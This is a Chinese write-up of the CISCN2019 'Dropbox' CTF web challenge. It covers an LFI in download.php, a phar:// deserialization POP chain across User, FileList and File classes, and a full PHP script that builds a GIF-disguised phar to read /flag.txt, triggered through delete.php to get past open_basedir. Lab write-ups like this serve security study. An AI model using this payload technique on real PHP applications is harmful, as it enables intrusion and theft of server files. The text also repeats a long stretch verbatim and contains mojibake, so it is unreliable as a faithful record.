CISCN2019 Dropbox Writeup
0x00关于本文
感谢@glzjn大佬提供的buuoj复现环境!
0x01漏洞突破口 LFI
在注册登陆简单测试之后可以轻易地发现download.php的LFI漏洞
后退两个目录即可获取源码(怎么知道是后退两个目录?多试试就知道了),我们发现download.php有这一行
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) { 看来很不幸,没法直接读flag
但是好在这个漏洞可以把题目中的所有源码都下载下来,方便我们审计
0x01 反序列化漏洞发现 看到download.php代码中存在这一行 include "class.php"; 一般来说像CTF题目这种超级超级小规模的项目是不会需要真正用到OOP来开发的,除非....想要用到相关的漏洞,比如反序列化 哪里有反序列化点呢?就藏在文件操作中。(相关阅读利用 phar 拓展 php 反序列化漏洞攻击面) 在download.php中存在如下代码(事实证明download.php并不能正常利用,在之后我会讲) $file = new File(); ... $filename = (string) $_POST['filename']; ... $file->open($filename) 跟到File类里面的open函数中,这个$filename被直接带入 file_exists($filename) 这样大黑客们就可以利用phar://伪协议用反序列化搞事情,好了我们开始审计代码!
0x02 POP Chain构造 我们现在需要构造POP Chain来RCE或者文件读取,要审计反序列化,我们第一步是需要找到起点,那就是__destruct或__wakeup函数,不过这道题目里面没有__wakeup函数,只有两个__destruct函数。 首先看到FileList类的__destruct public function __destruct() { $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">'; $table .= '<thead><tr>'; foreach ($this->funcs as $func) { $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>'; } $table .= '<th scope="col" class="text-center">Opt</th>'; $table .= '</thead><tbody>'; foreach ($this->results as $filename => $result) { $table .= '<tr>'; foreach ($result as $func => $value) { $table .= '<td class="text-center">' . htmlentities($value) . '</td>'; } $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">娑撳��娴�</a> / <a href="#" class="delete">閸掔娀娅�</a></td>'; $table .= '</tr>'; } echo $table; } } 好像啥都没有的样子。。。 那再看User类的 public function __destruct() { $this->db->close(); } 这个$this->db我们是可以操纵的,那我们首先尝试找到一个close函数来继续这个链条 而File类里面恰巧有一个close函数,但是代码只有一句。 return file_get_contents($this->filename); 能读取是能读取,但是我又不能输出,这怎么可以呢? 这里$this->db->close()除了可以调用close函数之外,还可以在别的类不存在close的时候调用__call函数。 果不其然,在FileList类找到了 public function __call($func, $args) { array_push($this->funcs, $func); foreach ($this->files as $file) { $this->results[$file->name()][$func] = $file->$func(); } } 其中$func是"close",这个函数首先把"close"塞到了$this->funcs的尾部,接着遍历$files做了些蜜汁操作 $this->results[$file->name()][$func] = $file->$func(); 看了下大概是给File类量身定做的,只有File类才同时有name和close,而这里我们要是操纵$file的确能把内容塞到$this->results数组里面。 可是写进去了怎么读出来呢,那就要看到FileList类的__destruct函数了,仔细看下这个函数发现真的能把结果输出出来,那这样我们就形成了一条从User类到FileList类,再到File类的POP Chain。 0x03 EXP构造 (filename为什么是/flag.txt?我也想知道。这部分我是在网上看到别人的EXP这么写的 <?php class File { public $filename; function __construct() { $this->filename="/flag.txt";
} } class FileList { private $files; function __construct() { $this->files=[new File()]; } }
class User { public $db; function __construct() { $this->db=new FileList(); } } $o = new User(); $filename = 'avatar.phar.gif'; file_exists($filename) ? unlink($filename) : null; $phar=new Phar($filename); $phar->startBuffering(); $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($o); $phar->addFromString("foo.txt","bar"); $phar->stopBuffering(); ?> 0x04 最后利用 本来以为直接download.php里面直接用phar就可以的,没想到这个文件始终读不出来
接着才发现了我刚刚忽略的一行 ini_set("open_basedir", getcwd() . ":/etc:/tmp"); 原来他这里搞了个open_basedir害得我读不出来,但是问题不大,因为delete.php也操作文件,甚至不需要换参数。 url一换,结果就出来了
后退两个目录即可获取源码(怎么知道是后退两个目录?多试试就知道了),我们发现download.php有这一行
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) { 看来很不幸,没法直接读flag
但是好在这个漏洞可以把题目中的所有源码都下载下来,方便我们审计
0x01 反序列化漏洞发现 看到download.php代码中存在这一行 include "class.php"; 一般来说像CTF题目这种超级超级小规模的项目是不会需要真正用到OOP来开发的,除非....想要用到相关的漏洞,比如反序列化 哪里有反序列化点呢?就藏在文件操作中。(相关阅读利用 phar 拓展 php 反序列化漏洞攻击面) 在download.php中存在如下代码(事实证明download.php并不能正常利用,在之后我会讲) $file = new File(); ... $filename = (string) $_POST['filename']; ... $file->open($filename) 跟到File类里面的open函数中,这个$filename被直接带入 file_exists($filename) 这样大黑客们就可以利用phar://伪协议用反序列化搞事情,好了我们开始审计代码!
0x02 POP Chain构造 我们现在需要构造POP Chain来RCE或者文件读取,要审计反序列化,我们第一步是需要找到起点,那就是__destruct或__wakeup函数,不过这道题目里面没有__wakeup函数,只有两个__destruct函数。 首先看到FileList类的__destruct public function __destruct() { $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">'; $table .= '<thead><tr>'; foreach ($this->funcs as $func) { $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>'; } $table .= '<th scope="col" class="text-center">Opt</th>'; $table .= '</thead><tbody>'; foreach ($this->results as $filename => $result) { $table .= '<tr>'; foreach ($result as $func => $value) { $table .= '<td class="text-center">' . htmlentities($value) . '</td>'; } $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">娑撳��娴�</a> / <a href="#" class="delete">閸掔娀娅�</a></td>'; $table .= '</tr>'; } echo $table; } } 好像啥都没有的样子。。。 那再看User类的 public function __destruct() { $this->db->close(); } 这个$this->db我们是可以操纵的,那我们首先尝试找到一个close函数来继续这个链条 而File类里面恰巧有一个close函数,但是代码只有一句。 return file_get_contents($this->filename); 能读取是能读取,但是我又不能输出,这怎么可以呢? 这里$this->db->close()除了可以调用close函数之外,还可以在别的类不存在close的时候调用__call函数。 果不其然,在FileList类找到了 public function __call($func, $args) { array_push($this->funcs, $func); foreach ($this->files as $file) { $this->results[$file->name()][$func] = $file->$func(); } } 其中$func是"close",这个函数首先把"close"塞到了$this->funcs的尾部,接着遍历$files做了些蜜汁操作 $this->results[$file->name()][$func] = $file->$func(); 看了下大概是给File类量身定做的,只有File类才同时有name和close,而这里我们要是操纵$file的确能把内容塞到$this->results数组里面。 可是写进去了怎么读出来呢,那就要看到FileList类的__destruct函数了,仔细看下这个函数发现真的能把结果输出出来,那这样我们就形成了一条从User类到FileList类,再到File类的POP Chain。 0x03 EXP构造 (filename为什么是/flag.txt?我也想知道。这部分我是在网上看到别人的EXP这么写的 <?php class File { public $filename; function __construct() { $this->filename="/flag.txt";
} } class FileList { private $files; function __construct() { $this->files=[new File()]; } }
class User { public $db; function __construct() { $this->db=new FileList(); } } $o = new User(); $filename = 'avatar.phar.gif'; file_exists($filename) ? unlink($filename) : null; $phar=new Phar($filename); $phar->startBuffering(); $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($o); $phar->addFromString("foo.txt","bar"); $phar->stopBuffering(); ?> 0x04 最后利用 本来以为直接download.php里面直接用phar就可以的,没想到这个文件始终读不出来
接着才发现了我刚刚忽略的一行 ini_set("open_basedir", getcwd() . ":/etc:/tmp"); 原来他这里搞了个open_basedir害得我读不出来,但是问题不大,因为delete.php也操作文件,甚至不需要换参数。 url一换,结果就出来了